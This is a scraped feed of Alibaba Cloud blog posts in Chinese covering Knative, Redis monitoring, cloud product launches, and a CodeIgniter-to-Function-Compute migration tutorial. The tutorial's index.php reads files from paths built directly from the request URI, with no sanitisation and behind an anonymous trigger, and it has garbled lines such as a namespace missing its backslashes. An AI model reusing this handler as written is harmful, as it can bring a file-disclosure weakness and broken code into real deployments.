        • Configuration: 负责保持 Deployment 的期望状态,提供了代码和配置之间清晰的分离,并遵循应用开发的 12 要素。修改一次 Configuration 产生一个 Revision
        • Revision:Revision 资源是对工作负载进行的每个修改的代码和配置的时间点快照。Revision 是不可变对象,可以长期保留

        资源关系图:

        2.png

        Eventing

        Knative Eventing 旨在满足云原生开发中通用需求, 以提供可组合的方式绑定事件源和事件消费者。其设计目标:

        • Knative Eventing 提供的服务是松散耦合,可独立开发和部署。服务可跨平台使用(如 Kubernetes, VMs, SaaS 或者 FaaS)
        • 事件的生产者和事件的消费者是相互独立的。任何事件的生产者(事件源)可以先于事件的消费者监听之前产生事件,同样事件的消费者可以先于事件产生之前监听事件
        • 支持第三方的服务对接该 Eventing 系统
        • 确保跨服务的互操作性

        事件处理示意图:

        3.png

        如上图所示,Eventing 主要由事件源(Event Source)、事件处理(Flow)以及事件消费者(Event Consumer)三部分构成。

        事件源(Event Source)

        当前支持以下几种类型的事件源:

        • ApiserverSource:每次创建或更新 Kubernetes 资源时,ApiserverSource 都会触发一个新事件
        • GitHubSource:GitHub 操作时,GitHubSource 会触发一个新事件
        • GcpPubSubSource: GCP 云平台 Pub/Sub 服务会触发一个新事件
        • AwsSqsSource:Aws 云平台 SQS 服务会触发一个新事件
        • ContainerSource: ContainerSource 将实例化一个容器,通过该容器产生事件
        • CronJobSource: 通过 CronJob 产生事件
        • KafkaSource: 接收 Kafka 事件并触发一个新事件
        • CamelSource: 接收 Camel 相关组件事件并触发一个新事件

        事件接收/转发(Flow)

        当前 Knative 支持如下事件接收处理:

        • 直接事件接收

          通过事件源直接转发到单一事件消费者。支持直接调用 Knative Service 或者 Kubernetes Service 进行消费处理。这样的场景下,如果调用的服务不可用,事件源负责重试机制处理。
        • 通过事件通道(Channel)以及事件订阅(Subscriptions)转发事件处理

          这样的情况下,可以通过 Channel 保证事件不丢失并进行缓冲处理,通过 Subscriptions 订阅事件以满足多个消费端处理。
        • 通过 brokers 和 triggers 支持事件消费及过滤机制

        从 v0.5 开始,Knative Eventing 定义 Broker 和 Trigger 对象,实现了对事件进行过滤(亦如通过 ingress 和 ingress controller 对网络流量的过滤一样)。

        通过定义 Broker 创建 Channel,通过 Trigger 创建 Channel 的订阅(subscription),并产生事件过滤规则。

        事件消费者(Event Consumer)

        为了满足将事件发送到不同类型的服务进行消费, Knative Eventing 通过多个 k8s 资源定义了两个通用的接口:

        • Addressable 接口提供可用于事件接收和发送的 HTTP 请求地址,并通过status.address.hostname字段定义。作为一种特殊情况,Kubernetes Service 对象也可以实现 Addressable 接口
        • Callable 接口接收通过 HTTP 传递的事件并转换事件。可以按照处理来自外部事件源事件的相同方式,对这些返回的事件做进一步处理

        当前 Knative 支持通过 Knative Service 或者 Kubernetes Service 进行消费事件。

        另外针对事件消费者,如何事先知道哪些事件可以被消费? Knative Eventing 在最新的 0.6 版本中提供 Registry 事件注册机制, 这样事件消费者就可以事先通过 Registry 获得哪些 Broker 中的事件类型可以被消费。

        Tekton

        Tekton 是一个功能强大且灵活的Kubernetes原生CI/CD开源框架。通过抽象底层实现细节,用户可以跨多云平台和本地系统进行构建、测试和部署。具有组件化、声明式、可复用及云原生的特点。

        4.png

        • Tekton 是云原生的 - Cloud Native

          • 在Kubernetes上运行
          • 将Kubernetes集群作为第一选择
          • 基于容器进行构建
        • Tekton 是解耦的 - Decoupled

          • Pipeline 可用于部署到任何k8s集群
          • 组成 Pipeline 的Tasks 可以轻松地独立运行
          • 像 git repos这 样的 Resources 可以在运行期间轻松切换
        • Tekton 是类型化的 - Typed

          • 类型化资源的概念意味着对于诸如的资源 Image,可以轻松地将实现切换(例如,使用 kaniko vs buildkit进行构建)

        Knative 的优势

        Knative 一方面基于 Kubernetes 实现 Serverless 编排,另外一方面 Knative 还基于 Istio 实现服务的接入、服务路由的管理以及度发布等功能。Knative 是在已有的云原生基础之上构建的,有很好的社区基础。Knative 一经开源就得到了大家的追捧,其中的主要缘由有:

        • Knative 的定位不是 PAAS 而是一个通用的 Serverless 编排框架,大家可以基于此框架构建自己的 Serverless PAAS
        • Knative 对于 Serverless 架构的设计是标准先行。比如之前的 FAAS 解决方案每一个都有一套自己的事件标准,相互之间无法通用。而 Knative 首先提出了 CloudEvent 这一标准,然后基于此标准进行设计
        • 完备的社区生态:Kubernetes、ServiceMesh 等社区都是 Knative 的支持者
        • 跨平台:因为 Knative 是构建在 Kubernetes 之上的,而 Kubernetes 在不同的云厂商之间几乎可以提供通用的标准。所以 Knative 也就实现了跨平台的能力,没有供应商绑定的风险
        • 完备的 Serverless 模型设计:和之前的 Serverless 解决方案相比 Knative 各方面的设计更加完备。比如:

          • 事件模型非常完备,有注册、订阅、以及外部事件系统的接入等等一整套的设计
          • 比如从源码到镜像的构建
          • 比如 Serving 可以做到按比例的灰度发布

        总结

        相信通过上面的介绍,大家对 Knative 有了初步的认识。Knative 使用 Tekton 提供云原生“从源代码到容器”的镜像构建能力,通过 Serving 部署容器并提供通用的服务模型,同时以 Eventing 提供事件全局订阅、传递和管理能力,实现事件驱动。这就是 Knative 呈现给我们的标准 Serverless 编排框架。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        在阿里云上一键安装 Knative Fri, 02 May 2025 09:39:04 +0800 本文选自《Knative 云原生应用开发指南》
        knative海报.png

        本文介绍一下如何在阿里云容器服务中一键安装 Knative。

        前提条件

        • 您已经成功创建一个 Kubernetes 集群,参见创建Kubernetes集群
        • 部署成功 Istio, 参见部署Istio
        • 仅支持 Kubernetes 版本 1.14 及以上的集群。 只支持标准托管以及标准专有 Kubernetes 集群
        • 一个集群中,worker节点数量需要大于等于3个,保证资源充足可用

        操作步骤

        1. 登录 容器服务管理控制台
        2. 单击左侧导航栏中的Knative>组件管理,进入组件管理页面
        3. 点击一键部署按钮

          1.png
        4. 选择需要安装的 Knative 组件(Tekton 组件、Serving 组件和 Eventing 组件),点击部署

          2.png

        执行结果

        部署完成之后,可以看到部署结果信息。

        3.png

        点击进入组件管理,查看组件信息。

        4.png

        总结

        在阿里云容器服务中提供了自定义安装 Knative 组件以及 addon 组件,让你轻松安装 Knative。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        手动安装 Knative Fri, 02 May 2025 09:39:04 +0800 本文选自《Knative 云原生应用开发指南》
        knative海报.png

        本章主要介绍如何在已有 Kubernetes 集群上执行 Knative 的自定义安装。Knative的模块化组件可以允许您安装所需的组件。

        准备工作

        • 本安装操作中的步骤bash适用于MacOS或Linux环境。对于Windows,某些命令可能需要调整。
        • 本安装操作假定您具有现有的Kubernetes集群,可以在其上轻松安装和运行Alpha级软件。
        • Knative需要Kubernetes集群v1.14或更高版本,以及可兼容 kubectl。

        安装Istio

        Knative 依赖 Istio 进行流量路由和入口。您可以选择注入 Istio sidecar 并启用 Istio 服务网格,但是并非所有Knative组件都需要它。

        如果您的云平台提供了托管的Istio安装,则建议您以这种方式安装Istio,除非您需要自定义安装功能。

        如果您希望手动安装Istio,或者云提供商不提供托管的Istio安装,或者您要使用Minkube或类似的本地安装Knative,请参阅《 安装Istio for Knative》指南

        注意:可以使用 AmbassadorGloo替代Istio。

        安装Knative组件

        每个Knative组件必须单独安装。您可以根据需要决定安装哪些组件和内置监控插件。

        注意:如果首次尝试安装失败,请尝试重新运行命令。很可能会在第二次尝试中成功。

        选择Knative安装文件

        可以使用以下 Knative 安装文件:

        安装Knative

        1. 如果要从 Knative 0.3.x 升级,请执行以下操作:将 domain 和静态 IP 地址更新为与 istio-ingressgateway 关联, 而不是 knative-ingressgateway。然后运行以下命令清理剩余的资源:
        kubectl delete svc knative-ingressgateway -n istio-system
        kubectl delete deploy knative-ingressgateway -n istio-system

        如果安装了Knative Eventing Sources组件,则还需要在升级之前删除以下资源:

        kubectl delete statefulset/controller-manager -n knative-sources
        1. 要安装 Knative 组件或插件,请在kubectl apply命令中指定文件名 。为了防止由于资源安装顺序导致安装失败,请首先运行带有该 -l knative.dev/crd-install=true 标志的安装命令,然后再次运行没有 --selector 标志的安装命令。

          示例安装命令:
        • 如果需要使用内置监控插件,安装 Knative Serving 组件,请运行以下命令:

          • 仅安装CRD:
        kubectl apply --selector knative.dev/crd-install=true 
          --filename https://github.com/knative/serving/releases/download/{{ <版本> }}/serving.yaml 
          --filename https://github.com/knative/serving/releases/download/{{ <版本> }}/monitoring.yaml
        • 删除--selector knative.dev/crd-install=true 标志,然后运行命令以安装Serving组件和监控插件:
        kubectl apply --filename https://github.com/knative/serving/releases/download/{{ <版本> }}/serving.yaml 
          --filename https://github.com/knative/serving/releases/download/{{ <版本> }/monitoring.yaml
        • 如果不使用内置监控插件的情况下安装所有Knative组件,请运行以下命令。

          • 仅安装CRD:
        kubectl apply --selector knative.dev/crd-install=true 
          --filename https://github.com/knative/serving/releases/download/{{< version >}}/serving.yaml 
          --filename https://github.com/knative/eventing/releases/download/{{< version >}}/release.yaml
        • 删除--selector knative.dev/crd-install=true 标志,然后运行命令以安装所有Knative组件,包括Eventing资源:
        kubectl apply --filename https://github.com/knative/serving/releases/download/{{ <版本> }}/serving.yaml 
        --filename https://github.com/knative/eventing/releases/download/{{ <版本> }}/release.yaml
        1. 根据选择安装的内容,通过运行以下一个或多个命令来查看安装状态:
        kubectl get pods --namespace knative-serving
        kubectl get pods --namespace knative-eventing
        1. 如果安装了内置监控插件,请运行以下命令:
        kubectl get pods --namespace knative-monitoring

        其它

        考虑到国内用户有可能拉取不断外部镜像,安装文件可参考:https://github.com/knative-sample/knative-release/tree/v0.10.0

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        基于Prometheus+Grafana的应用监控系统建设(三) Fri, 02 May 2025 09:39:04 +0800 Prometheus + Grafana 应用级监控方案(3)-Redis监控

        概述

        Prometheus + Grafana已安装完成,初始化及验证没问题后,可以进入应用监控开发。

        Redis是常用的NoSQL数据库,在项目是经常用到,它安装简单、使用方便,可作为一个简单的”应用型监控“样例集成到本监控系统中

        Redis安装参考

        #建一个简单的Redis就这么简单,主从/集群麻烦些
        docker run -d --name redis -p 6379:6379 redis

        Step1.1-Prometheus - Redis数据采集器安装

        Docker镜像使用参考

        docker pull oliver006/redis_exporter
        docker run -d --name redis_exporter 
                   -p 9121:9121 
                   -e REDIS_ADDR="redis://192.168.1.81:6379" 
                   oliver006/redis_exporter
        #验证监控数据获取
         curl http://192.168.1.81:9121/metrics

        Step1.2-Prometheus-yml配置

        vi /data/docker-lv/prometheus/etc/prometheus.yml

        #增加以下job
        - job_name: redis_demo:192.168.1.81
          static_configs:
          - labels:
              instance: 192.168.1.81:6379
            targets:
            - 192.168.1.81:9121

        注:prometheus.yml缺省为1分钟采集一次,所以刚启动时查看的状态为[down], 过一会刷新就[up]了

        Step2: Grafana - Redis 数据展示

        在数据采集已OK的情况下,可以使用Grafana + 模板进行监控数据展示

        • 从Grafana网站上找一个Prometheus + Redis的模块,记下编号

        Grafana 提供的 Pormetheus 采集数据展示的模板参考

        • 在Grafana中 import --> 输入编号,指定数据源,即完成Dashboard的新增
        • 显示效果如下图所示

        小结

        • Prometheus+Grafana+Redis监控为一个典型的”远程服务监控“,整体上,只需简单几条配置,即可获取Redis的运行状态并进行直观数据展示
        • 配置少,无需编码
        • 与本方案类似的其它监控:Mysql监控、RabbitMQ监控、KAFKA监控等
        ]]>
        阿里云容器服务ACK 升级亮相,全力保护全球百万级容器的运行安全 Fri, 02 May 2025 09:39:04 +0800
        点击查看:容器服务 Kubernetes 版
        点击了解:“阿里云新品发布会频道”
        立即订阅:阿里云新品发布会·周刊

        阿里云ACK是什么?

        阿里云容器服务Kubernetes版,简称ACK,支持企业级容器化应用的全生命周期管理,基于原生Kubernetes增强,全面整合阿里云虚拟化、存储、网络和安全能力,提供高性能可伸缩的容器应用管理服务。

        ACK支持神龙服务器、GPU服务器、超算集群,提供超高性能的容器运行平台,提供相比社区方案性能提高20%的Terway容器网络插件,和支持大规模分发的企业版镜像仓库。

        阿里云ACK在哪些行业和场景使用?

        阿里云容器服务成为国内唯一进入Gartner竞争格局的公有云容器平台,多种产品形态覆盖全球市场。

        ACK在金融、工业、医疗、互联网、新零售等多个行业,迁云、混合云、微服务、企业PaaS及AI创新等场景,积累了丰富的落地经验。例如国泰君安实现了智能算法平台、智能数据平台以及一体化运维平台;西门子打造了物联网操作系统MindSphere,实现微服务架构、DevOps以及系统的高可用;基于容器混合云方案,安诺优达数小时 完成云下及云上上千节点的混合部署和调度,数小时完成数T基因数据 的处理和数据上云。

        迈出第一步,创建阿里云ACK的集群。

        ACK有专有版、托管版、Serverless Kubernetes三种形态,用户可以根据对master、worker节点管控需求程度做出不同选择。

        1. 专有版,需要创建3个Master(高可用)节点及若干Worker节点,可对集群基础设施进行更细粒度的控制,需要自行规划、维护、升级服务器集群。
        2. 托管版,只需创建Worker节点,Master节点由容器服务创建并托管。具备简单、低成本、高可用、无需运维管理Kubernetes集群Master节点的特点,您可以更多关注业务本身。
        3. Serverless Kubernetes
          无需创建和管理Master节点及Worker节点,即可通过控制台或者命令配置容器实例的资源、指明应用容器镜像以及对外服务的方式,直接启动应用程序。

        image
        image
        阿里云ACK的极致弹性
        ACK具备四种弹性模式:弹性资源池模式、定时弹性模式、竞价实例弹性模式、停机回收模式。
        用户可以选择组合搭配为带来不同业务场景极致弹性,如:应对突发流量、规律或可预测的任务处理、使用竞价实例严格把控成本等等。

        经过三年多的迭代打磨,阿里云ACK支撑数万名开发者和数千家企业,全力保护遍布全球百万级容器的运行安全。

        点击查看:容器服务 Kubernetes 版
        点击了解:“阿里云新品发布会频道”
        立即订阅:阿里云新品发布会·周刊

        ]]>
        一键托管,阿里云全链路追踪服务正式商用:成本仅自建1/5或更少 Fri, 02 May 2025 09:39:04 +0800 随着互联网架构的扩张,分布式系统变得日趋复杂,越来越多的组件开始走向分布式化,如微服务、消息收发、分布式数据库、分布式缓存、分布式对象存储、跨域调用,这些组件共同构成了繁杂的分布式网络。

        在一次800多人的开发者调研中,当回答“现阶段构建一个高可用的分布式系统,您遇到的三个最大的难题是什么?”时,57%的开发者选择了全链路追踪。

        6月12日,阿里云发布了链路追踪服务 Tracing Analysis,提供分布式系统的全链路追踪能力,帮助客户快速发现和定位分布式系统下的各类性能瓶颈,成本仅自建链路追踪系统的1/5甚至更少。
        image

        微服务架构下的分布式应用架构虽然满足了应用横向扩展需求,但是如何进行分布式应用诊断成为挑战。虽然,业内有链路追踪相关的开源解决方案,但存在着研发投入较高、自建成本较高、技术风险较大、运维难度较大的挑战。

        image

        链路追踪 Tracing Analysis源自阿里巴巴内部的经过大规模实战验证过的 EagleEye,基于 Opentracing 标准,全面兼容开源社区,可实现 Jaeger, Zipkin 和 Skywalking等开源方案在阿里云上的托管,客户无需搭建基础设施,节省运维投入和技术风险。同时,支持多语言客户端将应用的链路数据上报至链路追踪控制台,实现链路追踪的目的。

        据介绍,链路追踪 Tracing Analysis 可用于链路拓扑分析,慢请求、异常请求、流量异常的问题发现和定位,并可以根据业务Tag 对业务进行统计。以某教育行业客户为例,链路追踪 Tracing Analysis 帮助客户将异常请求数从原先的3%降低到0.1%,排查5个以上线上问题。

        此外,链路追踪 Tracing Analysis可帮助用户收集所有分布式微服务应用和相关PaaS产品的分布式调用信息,查看应用的依赖路径,用于业务分析和稳定性评估。以某金融行业客户为例,链路追踪 Tracing Analysis 帮助客户将将应用的平均响应时间从2秒降低到500毫秒。

        值得注意的是,链路追踪 Tracing Analysis 省去了客户自建基础设施的本地存储费用,仅通过云端日志存储收取存储费用,总体的机器成本是自建全链路追踪系统的1/5或更少,并提供了每天1000请求数的免费使用额度。

        目前,阿里云链路追踪 Tracing Analysis已应用于金融、游戏、教育、零售、人工智能等多个行业,帮助开发者高效的分析和诊断分布式应用架构下的性能瓶颈。
        查看产品:链路追踪
        一图快速了解:发布核心、场景、优势、接入、更多!
        直播回顾:DataV专业版 重磅发布

        点击了解:“阿里云新品发布会频道”
        立即订阅:阿里云新品发布会·周刊

        ]]>
        分布式诊断神器 | 阿里云链路追踪Tracing Analysis正式商用 Fri, 02 May 2025 09:39:04 +0800 阿里链路追踪服务 Tracing Analysis 正式商用,提供分布式系统的全链路追踪能力,帮助客户快速发现和定位分布式系统下的各类性能瓶颈,降低了客户自建全链路系统的技术投入和风险,且云上的托管成本仅自建链路追踪系统的1/5甚至更少。

        据链路追踪 Tracing Analysis 技术专家竹影介绍,微服务架构下的分布式应用架构虽然满足了应用横向扩展需求,但是如何进行分布式应用诊断成为挑战。虽然,业内有链路追踪相关的开源解决方案,但存在着研发投入较高、自建成本较高、技术风险较大、运维难度较大的挑战。

        那么,链路追踪 Tracing Analysis 是如果提供分布式下的应用诊断服务,又有哪些特点呢?

        产品架构

        链路追踪的产品架构如下图所示。

        image

        主要工作流程为:

        1. 客户侧的应用程序通过集成链路追踪的多语言客户端 SDK 上报服务调用数据,并支持Jaeger, Zipkin 和 Skywalking等多种开源社区的 SDK,且支持 OpenTracing 标准。
        2. 数据上报至链路追踪控制台后,链路追踪组件进行实时聚合计算和持久化,形成链路明细、性能总览、实时拓扑等监控数据,并可以据此进行问题排查与诊断。
        3. 调用链数据可对接下游阿里云产品,例如 LogSearch、CloudMonitor、MaxCompute 等,用于离线分析、报警等场景。

        分布式调用链查询诊断

        链路追踪 Tracing Analysis 可用于链路拓扑分析,慢请求、异常请求、流量异常的问题发现和定位,并可以根据业务Tag 对业务进行统计。以某教育行业客户为例,链路追踪 Tracing Analysis 帮助客户将异常请求数从原先的3%降低到0.1%,排查5个以上线上问题。
        image

        分布式拓扑动态发现

        链路追踪 Tracing Analysis可帮助用户收集所有分布式微服务应用和相关PaaS产品的分布式调用信息,查看应用的依赖路径,用于业务分析和稳定性评估。以某金融行业客户为例,链路追踪 Tracing Analysis 帮助客户将将应用的平均响应时间从2秒降低到500毫秒。
        image

        值得注意的是,链路追踪 Tracing Analysis 省去了客户自建基础设施的本地存储费用,仅通过云端日志存储收取存储费用,总体的机器成本是自建全链路追踪系统的1/5或更少,并提供了每天1000请求数的免费使用额度。

        目前,阿里云链路追踪 Tracing Analysis已应用于金融、游戏、教育、零售、人工智能等多个行业,帮助开发者高效的分析和诊断分布式应用架构下的性能瓶颈。

        发布会Q&A

        Q1:可以通过 API 拉取链路追踪的数据吗?
        A1:支持,收集的链路可以通过OpenAPI的方式获取,也可以嵌入链路追踪的页面展示,也可以直接在日志服务中查看。

        Q2:非阿里云服务,可以接入链路追踪?
        A2:链路追踪是开放的,只要客户的应用可以访问公网,就可以接入,和有没部署在阿里云上没关系。

        Q3:埋点对性能的影响有相关分析么?
        A3:埋点数据是异步批量上报的,会对性能有影响有限,一般在1%左右,主要看埋点的量,埋的多会影响大一点。从目前的压测数据来看,对性能影响比较小。

        查看产品:链路追踪
        一图快速了解:发布核心、场景、优势、接入、更多!
        直播回顾:DataV专业版 重磅发布

        点击了解:“阿里云新品发布会频道”
        立即订阅:阿里云新品发布会·周刊

        ]]>
        阿里云云盾IDaaS应用身份服务正式发布,为用户提供5A一体化身份管理平台 Fri, 02 May 2025 09:39:04 +0800

        查看详情:试用体验IDaaS应用身份服务
        点击了解:“阿里云新品发布会频道”
        立即订阅:阿里云新品发布会·周刊

        随着应用上云和移动互联网的兴起,企业对身份的认证和管理也必须要适配各种复杂的、混合的IT环境。阿里云云盾IDaaS(Identity as a Service)应用身份服务通过集中式的身份管理服务,为用户提供5A一体化身份管理平台,帮助用户解决跨云跨域的企业应用访问及管理难题。

        阿里云IDaaS是什么?

        IDaaS,是Identity as a Service的缩写,它是一个基于云计算和微服务架构的集中式身份管理服务,首先它会赋予用户一个唯一的身份账号,只要这个账号成功通过身份认证,那么用户就可以自由访问所有被授权的,跨云跨域的任何企业应用,包括部署在公有云、私有云以及企业本地机房中的。
        阿里云IDaaS围绕统一的身份账号,为用户构建了集5项主要能力为一体的统一身份平台, 并按照英文缩写简称为5A一体化平台。

        阿里云IDaaS所提供的5A一体化平台是什么?

        5A一体化平台,包括了统一身份账户(Account)、统一身份认证(Authentication)、集中授权(Authorization)、应用管理(Application)、以及全局透明审计(Audit)五项能力。
        其中,统一账户(Account)为企业信息化建设提供唯一的用户身份数据,以及集中的账户生命周期管理;统一认证(Authentication)负责安全的验证用户身份,可集中配置多因子认证,并集成第三方认证源;集中授权(Authorization)可根据用户所在部门或者角色授权其可访问的范围,做到一次配置,全局生效;应用管理(Application)通过集中管理企业的私有云和公有云应用、移动应用甚至数字设备,实现单点登录,并为每个用户提供企业应用门户;透明审计(Audit)详细记录了用户所有行为及管理员操作,让管理者随时掌握企业数字资产的使用情况。

        阿里云IDaaS可以帮助企业解决什么?

        1、把身份作为IT的公用基础数据,解决员工账户信息孤岛、管理遗漏问题
        现代企业的数字化管理,必须由多个应用系统互相配合来完成,而由不同团队或供应商开发的系统又很容易成为一个个信息孤岛,带来员工入职、转岗时流程繁杂耗时,离职后账户权限回收不彻底等问题,这些问题正困扰着越来越多的企业管理者。实现统一的身份账户不仅能为管理者解决以上问题,同时也可使应用的开发者从账户管理的包袱中解脱出来,从而更专注于业务本身。
        2、密码的脆弱性问题
        虽然每个应用系统都声称自己会保护好用户密码,并有复杂度要求,强制定期修改等安全手段,但从用户角度来看,记住多个不同的密码并保证定期更新,几乎是不个可完成的任务,所以事实上大多数用户会在所有系统上使用相同的密码,这就导致了一点失守全面沦陷的局面;同时用户会在密码中加入一些规律以便于记忆,这也使得撞库破解成为攻击者最常用的手段之一。而IDaaS统一身份认证可以通过多种非密码方式来认证用户,如每30s一变化的动态令牌,人脸,指纹等生物特征等;在认证通过后,再使用非对称加密令牌向应用传递已认证的用户身份,使用户无需再次认证即可访问应用,在确保安全同时带来了工作效率提升。
        3、分散的授权和审计问题
        在多个应用系统中管理访问授权经常是个麻烦事,这使得管理员对权限的分发变得小心翼翼且流程繁多;而整合不同应用的登录日志更是难以实现,这让管理者对整个企业的数字资产使用情况如同雾里看花,甚至需要额外的研发投入才能做到。有了IDaaS的统一授权管理,管理员可以随时对应用访问权限进行多视角的授权和查看,真正做到一次配置,全局生效。同时IDaaS汇集了员工的入职、转岗、离职、登录登出、企业应用访问等一系列重要审计日志,可以提供多维度的展示报表和快速查询功能,为企业的精细化管理提供可操作的支持。
        4、满足多项国家等保合规,以及上市公司内审合规的要求
        例如2FA解决方案,在统一认证时,通过组合两种不同识别因素对用户身份进行双重鉴别,帮助企业满足其所在行业等保2.0中对密码二次鉴别的合规要求。通过账号的实名化,彻底解决账号审计的要求。

        阿里云IDaaS的产品的技术优势是什么?

        1. 以SaaS服务方式提供,企业不需要自身来运维,极大的降低了运维成本。
        2. 支持多种账户源,如AD、LDAP、标准SCIM API等,可快速导入企业既有账户。
        3. 预集成了阿里云RAM以及业界常用的SaaS服务,无需过多配置即能开通使用。
        4. 支持多种认证协议,包括SAML、OIDC、OAuth、CAS等所有标准单点登录协议。
        5. 对于非标准应用,也支持采用API、SDK、密码代填的方式进行快速集成。

        阿里云IDaaS改善了什么?

        对于企业员工来说,IDaaS提供了统一的信息系统入口,单点登录的便捷性,另外集中式的办公门户模式比分散式的体验更好;对于IT管理员来说,IDaaS提供了对全体账号及权限进行集中管理的平台;对于开发者来说,IDaaS平台提供了开放功能及API,可以复用平台的账户管理和认证能力;对企业主来说,IDaaS还支撑了企业生态化的发展,轻松的将供应商、合作伙伴、客户纳入到统一的身份体系中,打通业务发展链的上下游。

        查看详情:试用体验IDaaS应用身份服务
        点击了解:“阿里云新品发布会频道”
        立即订阅:阿里云新品发布会·周刊

        ]]>
        十分钟上线- CodeIgniter 项目迁移到函数计算 Fri, 02 May 2025 09:39:04 +0800 原文作者:txd123
        原文链接:https://developer.aliyun.com/article/727023

        更多云原生相关资讯可关注阿里巴巴云原生技术圈

        前言

        阿里云函数计算 Function Compute(FC),旨在帮助用户采用弹性伸缩、动态分配资源的方式,来执行业务函数。让用户无需购买部署服务器,无需考虑业务负载,就能快速搭建可处理高并发的后台服务。
        本文介绍 HTTP 触发器快速迁移 CodeIgniter 应用到函数计算。函数计算运行 PHP 框架原理可以参考一下《十分钟上线-函数计算玩转 WordPress》。

        案例概览

        在本教程中,我们讲解如何利用函数计算一步一步来构建 Web 的 Server 端,该案例是把一个 CodeIgniter 部署到函数计算,本文旨在展示函数计算做 Web Backend 能力,具体表现为以下几点:

        完善的 PHP 系统迁移到 FC 的成本不高
        FC 打通了专有网络 VPC 功能,用户的函数可以配置访问专有网络的云资源,比如本案例中:nas
        案例体验入口:

        体验地址:http://support.mofangdegisn.cn/

        案例开发配置步骤

        1. CodeIgniter 项目同步到 nas 上

        在本地创建一个函数的根目录,在该目录下创建 template.yml 文件,内容如下:

        ROSTemplateFormatVersion: '2015-09-01'
        Transform: 'Aliyun::Serverless-2018-04-03'
        Resources:
          Wkhtmltopdf:
            Type: 'Aliyun::Serverless::Service'
            Properties:
              Role: 'XXXX'
              LogConfig:
                Project: XXX
                Logstore: XXX
              VpcConfig:XXX
                VpcId: 
                VSwitchIds:
                  - XXX
                SecurityGroupId: XXXX
              NasConfig:
                UserId: 10003
                GroupId: 10003
                MountPoints:
                  - ServerAddr: 'XXXX'
                    MountDir: /mnt/www
            CodeIgniter:
              Type: 'Aliyun::Serverless::Function'
              Properties:
                Handler: index.handler
                Runtime: php7.2
                CodeUri: './index.php'
              Events:
                 httpTrigger:
                     Type: HTTP
                     Properties:
                       AuthType: ANONYMOUS
                       Methods:
                          - GET

        当然您这边也可以使用fun工具提供的 NasConfig: Auto 配置,可以自动生成 nas 相关配置,具体步骤可以参考:https://yq.aliyun.com/articles/712693

        fun 工具进入之前创建的函数根目录下后执行,fun nas info 查看 nas 的相关信息

        image.png

        我们把 CodeIgniter 项目放在刚刚执行 fun nas info 命令查看到的本地 nas 录下。

        image.png

        最后使用 fun nas sync 将本地 nas 资源同步到 nas 服务:

        image.png

        使用 fun 工具把本地资源同步到 nas 上具体步骤可以参考:https://yq.aliyun.com/articles/712700

        1. 创建函数入口文件

        在函数根目录下创建一个 index.php 文件,文件内容如下:

        <?php
        #自定义的域名,绑定了自定义域名的,可以换成自己自定义的。
        $MY_HOST    = "support.mofangdegisn.cn";
        #web目录,CodeIgniter框架默认是根目录
        $WWW_DIR = '/mnt/www/CodeIgniter';
        
        function handler($request, $context){
        
            #如果不使用函数计算后台提供的域名,这句可以注释掉。
            if(strpos($request->getAttribute("requestURI"),"/2016-08-15/proxy") !== false) $request = clearFcHost($request,$context);#兼容 fc后台的url地址
        
            $uri  = $request->getAttribute("requestURI");
            $file = explode("?", $uri)[0];
            if($file=='/') $uri='/';#
            $file = $GLOBALS['WWW_DIR'].$file;
        
            if(file_exists($file) and $uri!='/'){
                if(strpos($uri,".php")) return php_run(basename($file), $request, $context);#php_run
                return static_run($uri);#static_run
            }
        
            $request = $request->withAttribute("requestURI", "?s=".$uri);
            return php_run('index.php', $request, $context);# php_run CodeIgniter框架入口 index.php
        
        }
        
        function php_run($name,$request, $context)
        {
            return $GLOBALS['fcPhpCgiProxy']->requestPhpCgi($request, $GLOBALS['WWW_DIR'], $name,['SERVER_NAME' => $GLOBALS['MY_HOST'], 'SERVER_PORT' => '80', 'HTTP_HOST' => $GLOBALS['MY_HOST']],['debug_show_cgi_params' => false, 'readWriteTimeout' => 15000]);
        }
        use RingCentralPsr7Response;
        function static_run($uri): Response{
            $file_dir = $GLOBALS['WWW_DIR'].$uri; #完整文件路径
            $file_dir = explode("?", $file_dir)[0]; #去掉动态路径
            if(is_dir($file_dir)) $file_dir .= '/index.html';# 可以这里定义目录的默认索引页
            $handle   = fopen($file_dir, "r");
            $contents = fread($handle, filesize($file_dir));
            fclose($handle);
            return new Response(200, ['Content-Type'  => $GLOBALS['fcPhpCgiProxy']->getMimeType($file_dir),'Cache-Control' => "max-age=8640000",'Accept-Ranges' => 'bytes'], $contents);
        }
        
        function clearFcHost($request,$context){
            $uri  = $request->getAttribute("requestURI");
            $uri  = str_replace("/2016-08-15/proxy/".$context['service']['name']."/".$context['function']['name'],"",$uri);
            $request = $request->withAttribute("requestURI", $uri);
            return $request;
        }
        
        #错误处理
        function error($code) {
            #if($resp->getStatusCode() !=200) return error($resp->getStatusCode());
            return 'Codelgniter框架测试~~';
        }

        执行 fun deploy 部署函数,部署成功如图!
        image.png

        最后给服务函数绑定自定义域名详情。

        总结

        函数计算有如下优势:

        • 无需采购和管理服务器等基础设施
        • 专注业务逻辑的开发
        • 提供日志查询、性能监控、报警等功能快速排查故障
        • 以事件驱动的方式触发应用响应用户请求
        • 毫秒级别弹性伸缩,快速实现底层扩容以应对峰值压力
        • 按需付费。只需为实际使用的计算资源付费,适合有明显波峰波谷的用户访问场景
        • 除了上面所列的优势,FC 可以做为 Web Backend,只需要编写一个函数实现传统 Web 服务器中的 conf 中的逻辑,就可以将一个完整的 Web 工程迁移到 FC ,从而从传统的 Web 网站运维,监控等繁琐的事务中解放出来。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        企业级Open API网关建设 Fri, 02 May 2025 09:39:04 +0800 封面.png
        作者 | 李鹏飞 阿里云开放平台技术专家,负责阿里云OpenAPI网关建设,致力于为用户提供高可用的OpenAPI服务。

        引言

        随着互联网技术以及微服务、Service Mesh的发展,API在近几年变得越来越重要,大部分的企业都开放了API,绝大多数的技术能力也可以通过API快速获取,比如图像识别、语音识别、资源操作等。
